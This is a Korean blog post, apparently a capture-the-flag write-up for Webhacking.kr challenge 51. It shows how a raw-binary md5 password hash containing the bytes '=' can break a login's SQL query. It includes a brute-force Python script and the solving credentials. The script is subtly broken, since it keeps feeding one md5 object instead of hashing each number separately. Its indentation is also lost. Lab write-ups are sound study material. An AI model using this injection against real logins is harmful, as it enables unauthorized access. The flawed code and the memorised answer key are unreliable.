cdor1's lab
Webhacking.kr 51번 본문
id와 pw를 받는 창이다.
admin으로 로그인 하면 될 것 같은 느낌이 온다.
맞았다. admin으로 로그인하면 solve를 불러준다.
위 소스를 잘 보면
$input_pw = md5($_POST[pw], true);
pw값을 md5로 바꿔서 넣어주는데 뒤에 true라는 인자가 붙는다.
길이 16의 바이너리 형식으로 반환해 준다고 한다.
하지만 이 md5해쉬에 =, '등 쿼리에 변형을 줄 수 있는 값이 들어가면 어떻게 될까?
내가 생각한 공격 방식은
select id from challenge_51_admin where id='$input_id' and pw='$input_pw'
select id from challenge_51_admin where id='$input_id' and pw='asdf'='ghjk'
이런 식으로 쿼리가 들어가게 되어서 admin이 반환되게 된다.
import hashlib
a = hashlib.md5()
for i in range(00000000, 99999999):
a.update(str(i))
if "'='" in a.digest():
print "!" + str(i) + "num" + str(a.digest())
id : admin
pw : 63441195
'Security > Web' 카테고리의 다른 글
noe.systems Newbie - Bakery (0) | 2017.09.13 |
---|---|
Webhacking.kr 46번 (0) | 2017.04.21 |
Webhacking.kr 23번 (0) | 2017.04.19 |
Webhacking.kr 43번 (0) | 2017.04.19 |
Webhacking.kr 44번 (0) | 2017.04.17 |
Comments